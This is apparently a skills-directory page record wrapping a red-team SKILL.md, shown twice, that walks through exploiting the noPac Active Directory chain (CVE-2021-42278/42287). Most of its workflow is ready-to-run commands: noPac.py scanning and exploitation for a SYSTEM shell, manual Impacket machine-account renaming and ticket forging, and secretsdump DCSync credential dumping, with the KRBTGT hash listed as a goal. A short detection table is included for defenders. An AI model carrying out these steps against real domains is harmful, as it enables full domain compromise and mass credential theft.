[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AEPTDNB3ND9ES3N2CXPNB9":3,"skill-same:01M6AEPTDNB3ND9ES3N2CXPNB9":128},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":69,"commitSha":70,"skillDirectory":71,"forksCount":72,"repositoryHtmlUrl":73,"repositoryHomepageUrl":74,"ownerHtmlUrl":75,"ownerBlogUrl":76,"ownerDescription":77,"updatedAt":78,"install":79,"resources":92},"01M6AEPTDNB3ND9ES3N2CXPNB9","exploiting-nopac-cve-2021-42278-42287",null,"Exploits the noPac Active Directory privilege-escalation chain (CVE-2021-42278 sAMAccountName spoofing plus CVE-2021-42287 KDC PAC confusion) using Impacket and secretsdump.py to escalate from a standard domain user to Domain Admin. Use when red-teaming or pentesting Active Directory to validate machine-account impersonation and DCSync-based credential dumping.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-nopac-cve-2021-42278-42287\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"exploiting nopac cve 2021 42278 42287","cve","dcsync","cve-2021-42287","cve-2021-42278","nopac","domain-escalation","t1059","t1078","pentesting","Impacket","directory","escalation","privilege-escalation","active-directory","red-team","monitoring","verification","code","cybersecurity","2026-11-10 10:12:30",false,"---\nname: exploiting-nopac-cve-2021-42278-42287\ndescription: Exploits the noPac Active Directory privilege-escalation chain (CVE-2021-42278\n  sAMAccountName spoofing plus CVE-2021-42287 KDC PAC confusion) using Impacket and\n  secretsdump.py to escalate from a standard domain user to Domain Admin. Use when\n  red-teaming or pentesting Active Directory to validate machine-account impersonation\n  and DCSync-based credential dumping.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- active-directory\n- nopac\n- cve-2021-42278\n- cve-2021-42287\n- privilege-escalation\n- domain-escalation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Platform Monitoring\n- Process Code Segment Verification\n- Stack Frame Canary Validation\n- Segment Address Offset Randomization\n- Process Analysis\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1068\n---\n# Exploiting noPac (CVE-2021-42278 \u002F CVE-2021-42287)\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Overview\n\nnoPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting nopac cve 2021 42278 42287\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Scan the target domain for noPac vulnerability (CVE-2021-42278\u002F42287)\n- Create or leverage a machine account with modified sAMAccountName\n- Exploit the KDC PAC confusion to obtain a TGT for the Domain Controller\n- Use the DC ticket to perform DCSync and dump domain credentials\n- Achieve Domain Admin access from a standard domain user account\n- Document the complete exploitation chain with evidence\n\n## MITRE ATT&CK Mapping\n\n- **T1068** - Exploitation for Privilege Escalation\n- **T1136.002** - Create Account: Domain Account\n- **T1078.002** - Valid Accounts: Domain Accounts\n- **T1558** - Steal or Forge Kerberos Tickets\n- **T1003.006** - OS Credential Dumping: DCSync\n\n## Workflow\n\n### Phase 1: Vulnerability Scanning\n1. Check if the domain is vulnerable using the noPac scanner:\n   ```bash\n   # Using cube0x0's noPac scanner\n   python3 scanner.py domain.local\u002Fuser:'Password123' -dc-ip 10.10.10.1\n\n   # Using CrackMapExec module\n   crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac\n   ```\n2. Verify the MachineAccountQuota (default is 10, allows any user to join computers):\n   ```bash\n   # Check MachineAccountQuota via LDAP\n   python3 -c \"\n   import ldap3\n   server = ldap3.Server('10.10.10.1')\n   conn = ldap3.Connection(server, 'domain.local\\\\user', 'Password123', auto_bind=True)\n   conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])\n   print(conn.entries[0]['ms-DS-MachineAccountQuota'])\n   \"\n   ```\n\n### Phase 2: Exploitation with noPac Tool\n1. Run the full noPac exploit chain:\n   ```bash\n   # Using cube0x0's noPac (gets a shell on the DC)\n   python3 noPac.py domain.local\u002Fuser:'Password123' -dc-ip 10.10.10.1 \\\n     -dc-host DC01 -shell --impersonate administrator -use-ldap\n\n   # Using Ridter's noPac (alternative implementation)\n   python3 noPac.py domain.local\u002Fuser:'Password123' -dc-ip 10.10.10.1 \\\n     --impersonate administrator -dump\n   ```\n2. The exploit automatically:\n   - Creates a new machine account (or uses an existing one)\n   - Renames the machine account's sAMAccountName to match the DC (e.g., \"DC01\")\n   - Requests a TGT for the spoofed account name\n   - Restores the original sAMAccountName\n   - Uses S4U2self to obtain a service ticket impersonating the target user\n   - The KDC finds no account matching \"DC01\" and falls back to \"DC01$\" (the real DC)\n\n### Phase 3: Post-Exploitation\n1. With the obtained Domain Controller ticket, perform DCSync:\n   ```bash\n   # DCSync using secretsdump.py with the Kerberos ticket\n   export KRB5CCNAME=administrator.ccache\n   secretsdump.py -k -no-pass domain.local\u002Fadministrator@DC01.domain.local\n\n   # Or directly through the noPac shell\n   # The shell runs as SYSTEM on the DC\n   ```\n2. Alternatively, obtain a semi-interactive shell:\n   ```bash\n   python3 noPac.py domain.local\u002Fuser:'Password123' -dc-ip 10.10.10.1 \\\n     -dc-host DC01 -shell --impersonate administrator -use-ldap\n   ```\n\n### Phase 4: Manual Exploitation Steps\n1. Create a machine account:\n   ```bash\n   addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \\\n     -dc-ip 10.10.10.1 domain.local\u002Fuser:'Password123'\n   ```\n2. Clear the SPN and rename sAMAccountName:\n   ```bash\n   # Rename machine account sAMAccountName to DC name (without $)\n   renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \\\n     -dc-ip 10.10.10.1 domain.local\u002Fuser:'Password123'\n   ```\n3. Request a TGT for the spoofed name:\n   ```bash\n   getTGT.py -dc-ip 10.10.10.1 domain.local\u002F'DC01':'AttackPass123'\n   ```\n4. Restore the original machine name:\n   ```bash\n   renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \\\n     -dc-ip 10.10.10.1 domain.local\u002Fuser:'Password123'\n   ```\n5. Use S4U2self for impersonation:\n   ```bash\n   export KRB5CCNAME=DC01.ccache\n   getST.py -self -impersonate 'administrator' -altservice 'cifs\u002FDC01.domain.local' \\\n     -k -no-pass -dc-ip 10.10.10.1 domain.local\u002F'ATTACKPC$'\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| noPac (cube0x0) | Automated scanner and exploiter | Python |\n| noPac (Ridter) | Alternative exploit implementation | Python |\n| Impacket | Kerberos ticket manipulation, DCSync | Python |\n| CrackMapExec | Vulnerability scanning module | Python |\n| Rubeus | Windows Kerberos ticket operations | Windows (.NET) |\n| secretsdump.py | Post-exploitation credential dumping | Python |\n\n## CVE Details\n\n| CVE | Description | CVSS | Patch |\n|-----|-------------|------|-------|\n| CVE-2021-42278 | sAMAccountName spoofing (machine accounts) | 7.5 | KB5008102 |\n| CVE-2021-42287 | KDC PAC confusion \u002F privilege escalation | 7.5 | KB5008380 |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| Machine account sAMAccountName change | Event 4742 (computer account changed) with sAMAccountName modification |\n| New machine account creation | Event 4741 (computer object created) |\n| TGT request for account without trailing $ | Kerberos audit log analysis |\n| S4U2self requests from non-DC machine accounts | Event 4769 with unusual service ticket requests |\n| Rapid sequence: create account, rename, request TGT | SIEM correlation rule for noPac attack pattern |\n\n## Validation Criteria\n\n- [ ] Domain scanned for noPac vulnerability\n- [ ] MachineAccountQuota verified (default 10)\n- [ ] Exploit executed successfully (shell or DCSync)\n- [ ] Domain Admin privileges obtained from standard user\n- [ ] DCSync performed to dump domain credentials\n- [ ] KRBTGT hash obtained for persistence validation\n- [ ] Attack chain documented with timestamps\n- [ ] Patch status verified (KB5008380, KB5008602)\n","# Exploiting noPac (CVE-2021-42278 \u002F CVE-2021-42287)\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Overview\n\nnoPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting nopac cve 2021 42278 42287\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Scan the target domain for noPac vulnerability (CVE-2021-42278\u002F42287)\n- Create or leverage a machine account with modified sAMAccountName\n- Exploit the KDC PAC confusion to obtain a TGT for the Domain Controller\n- Use the DC ticket to perform DCSync and dump domain credentials\n- Achieve Domain Admin access from a standard domain user account\n- Document the complete exploitation chain with evidence\n\n## MITRE ATT&CK Mapping\n\n- **T1068** - Exploitation for Privilege Escalation\n- **T1136.002** - Create Account: Domain Account\n- **T1078.002** - Valid Accounts: Domain Accounts\n- **T1558** - Steal or Forge Kerberos Tickets\n- **T1003.006** - OS Credential Dumping: DCSync\n\n## Workflow\n\n### Phase 1: Vulnerability Scanning\n1. Check if the domain is vulnerable using the noPac scanner:\n   ```bash\n   # Using cube0x0's noPac scanner\n   python3 scanner.py domain.local\u002Fuser:'Password123' -dc-ip 10.10.10.1\n\n   # Using CrackMapExec module\n   crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac\n   ```\n2. Verify the MachineAccountQuota (default is 10, allows any user to join computers):\n   ```bash\n   # Check MachineAccountQuota via LDAP\n   python3 -c \"\n   import ldap3\n   server = ldap3.Server('10.10.10.1')\n   conn = ldap3.Connection(server, 'domain.local\\\\user', 'Password123', auto_bind=True)\n   conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])\n   print(conn.entries[0]['ms-DS-MachineAccountQuota'])\n   \"\n   ```\n\n### Phase 2: Exploitation with noPac Tool\n1. Run the full noPac exploit chain:\n   ```bash\n   # Using cube0x0's noPac (gets a shell on the DC)\n   python3 noPac.py domain.local\u002Fuser:'Password123' -dc-ip 10.10.10.1 \\\n     -dc-host DC01 -shell --impersonate administrator -use-ldap\n\n   # Using Ridter's noPac (alternative implementation)\n   python3 noPac.py domain.local\u002Fuser:'Password123' -dc-ip 10.10.10.1 \\\n     --impersonate administrator -dump\n   ```\n2. The exploit automatically:\n   - Creates a new machine account (or uses an existing one)\n   - Renames the machine account's sAMAccountName to match the DC (e.g., \"DC01\")\n   - Requests a TGT for the spoofed account name\n   - Restores the original sAMAccountName\n   - Uses S4U2self to obtain a service ticket impersonating the target user\n   - The KDC finds no account matching \"DC01\" and falls back to \"DC01$\" (the real DC)\n\n### Phase 3: Post-Exploitation\n1. With the obtained Domain Controller ticket, perform DCSync:\n   ```bash\n   # DCSync using secretsdump.py with the Kerberos ticket\n   export KRB5CCNAME=administrator.ccache\n   secretsdump.py -k -no-pass domain.local\u002Fadministrator@DC01.domain.local\n\n   # Or directly through the noPac shell\n   # The shell runs as SYSTEM on the DC\n   ```\n2. Alternatively, obtain a semi-interactive shell:\n   ```bash\n   python3 noPac.py domain.local\u002Fuser:'Password123' -dc-ip 10.10.10.1 \\\n     -dc-host DC01 -shell --impersonate administrator -use-ldap\n   ```\n\n### Phase 4: Manual Exploitation Steps\n1. Create a machine account:\n   ```bash\n   addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \\\n     -dc-ip 10.10.10.1 domain.local\u002Fuser:'Password123'\n   ```\n2. Clear the SPN and rename sAMAccountName:\n   ```bash\n   # Rename machine account sAMAccountName to DC name (without $)\n   renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \\\n     -dc-ip 10.10.10.1 domain.local\u002Fuser:'Password123'\n   ```\n3. Request a TGT for the spoofed name:\n   ```bash\n   getTGT.py -dc-ip 10.10.10.1 domain.local\u002F'DC01':'AttackPass123'\n   ```\n4. Restore the original machine name:\n   ```bash\n   renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \\\n     -dc-ip 10.10.10.1 domain.local\u002Fuser:'Password123'\n   ```\n5. Use S4U2self for impersonation:\n   ```bash\n   export KRB5CCNAME=DC01.ccache\n   getST.py -self -impersonate 'administrator' -altservice 'cifs\u002FDC01.domain.local' \\\n     -k -no-pass -dc-ip 10.10.10.1 domain.local\u002F'ATTACKPC$'\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| noPac (cube0x0) | Automated scanner and exploiter | Python |\n| noPac (Ridter) | Alternative exploit implementation | Python |\n| Impacket | Kerberos ticket manipulation, DCSync | Python |\n| CrackMapExec | Vulnerability scanning module | Python |\n| Rubeus | Windows Kerberos ticket operations | Windows (.NET) |\n| secretsdump.py | Post-exploitation credential dumping | Python |\n\n## CVE Details\n\n| CVE | Description | CVSS | Patch |\n|-----|-------------|------|-------|\n| CVE-2021-42278 | sAMAccountName spoofing (machine accounts) | 7.5 | KB5008102 |\n| CVE-2021-42287 | KDC PAC confusion \u002F privilege escalation | 7.5 | KB5008380 |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| Machine account sAMAccountName change | Event 4742 (computer account changed) with sAMAccountName modification |\n| New machine account creation | Event 4741 (computer object created) |\n| TGT request for account without trailing $ | Kerberos audit log analysis |\n| S4U2self requests from non-DC machine accounts | Event 4769 with unusual service ticket requests |\n| Rapid sequence: create account, rename, request TGT | SIEM correlation rule for noPac attack pattern |\n\n## Validation Criteria\n\n- [ ] Domain scanned for noPac vulnerability\n- [ ] MachineAccountQuota verified (default 10)\n- [ ] Exploit executed successfully (shell or DCSync)\n- [ ] Domain Admin privileges obtained from standard user\n- [ ] DCSync performed to dump domain credentials\n- [ ] KRBTGT hash obtained for persistence validation\n- [ ] Attack chain documented with timestamps\n- [ ] Patch status verified (KB5008380, KB5008602)\n",{"name":5,"tags":49,"author":50,"domain":43,"license":15,"version":51,"nist_csf":52,"subdomain":56,"description":7,"mitre_attack":57,"d3fend_techniques":63},[39,38,29,28,27,37,30],"mahipal","1.0",[53,54,55],"ID.RA-01","GV.OV-02","DE.AE-07","red-teaming",[58,59,60,61,62],"T1595","T1190","T1059","T1078","T1068",[64,65,66,67,68],"Platform Monitoring","Process Code Segment Verification","Stack Frame Canary Validation","Segment Address Offset Randomization","Process Analysis","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fexploiting-nopac-cve-2021-42278-42287",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":80,"prompt":90,"zipAvailable":91},[81,84,87],{"tool":82,"command":83},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-nopac-cve-2021-42278-42287",{"tool":85,"command":86},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-nopac-cve-2021-42278-42287",{"tool":88,"command":89},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-nopac-cve-2021-42278-42287","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-nopac-cve-2021-42278-42287\u002FSKILL.md",true,[93,99,104,110,114,118,124],{"path":94,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":97,"sourceHtmlUrl":98},"assets\u002Ftemplate.md","ASSET","资产文件",864,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-nopac-cve-2021-42278-42287\u002Fassets\u002Ftemplate.md",{"path":100,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-nopac-cve-2021-42278-42287\u002FLICENSE",{"path":105,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":108,"sourceHtmlUrl":109},"references\u002Fapi-reference.md","REFERENCE","参考文档",1983,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-nopac-cve-2021-42278-42287\u002Freferences\u002Fapi-reference.md",{"path":111,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":112,"sourceHtmlUrl":113},"references\u002Fstandards.md",1075,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-nopac-cve-2021-42278-42287\u002Freferences\u002Fstandards.md",{"path":115,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":116,"sourceHtmlUrl":117},"references\u002Fworkflows.md",615,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-nopac-cve-2021-42278-42287\u002Freferences\u002Fworkflows.md",{"path":119,"resourceType":120,"resourceTypeDesc":121,"sizeBytes":122,"sourceHtmlUrl":123},"scripts\u002Fagent.py","SCRIPT","脚本",4803,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-nopac-cve-2021-42278-42287\u002Fscripts\u002Fagent.py",{"path":125,"resourceType":120,"resourceTypeDesc":121,"sizeBytes":126,"sourceHtmlUrl":127},"scripts\u002Fprocess.py",5056,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-nopac-cve-2021-42278-42287\u002Fscripts\u002Fprocess.py",[129,155,178,205,231,258],{"skillNo":130,"name":131,"nameZh":6,"description":132,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":133,"categories":134,"keywords":136,"publishedAt":44},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[135],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[137,138,139,140,141,43,142,143,144,42,145,146,147,148,149,150,151,152,153,154],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","pr","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":156,"name":157,"nameZh":6,"description":158,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":159,"categories":160,"keywords":162,"publishedAt":44},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[161],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[163,151,164,165,141,166,43,144,41,167,168,169,170,171,172,173,174,175,176,177],"boot","TPM","validating tpm measured boot attestation","policy","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":179,"name":180,"nameZh":6,"description":181,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":182,"categories":183,"keywords":188,"publishedAt":44},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[184,187],{"categoryNo":185,"categoryName":186,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[172,189,190,191,192,43,193,194,41,195,196,197,198,199,200,32,201,202,203,204],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":206,"name":207,"nameZh":6,"description":208,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":209,"categories":210,"keywords":212,"publishedAt":44},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[211],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[213,214,215,43,216,217,218,219,220,221,222,223,224,225,226,227,169,228,229,230],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":232,"name":233,"nameZh":6,"description":234,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":235,"categories":236,"keywords":238,"publishedAt":44},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[237],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[239,240,241,43,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":259,"name":260,"nameZh":6,"description":261,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":262,"categories":263,"keywords":265,"publishedAt":44},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[264],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[141,266,43,267,268,269,270,271,272,273,274,32,275,201,276,277,278,279,280,281],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]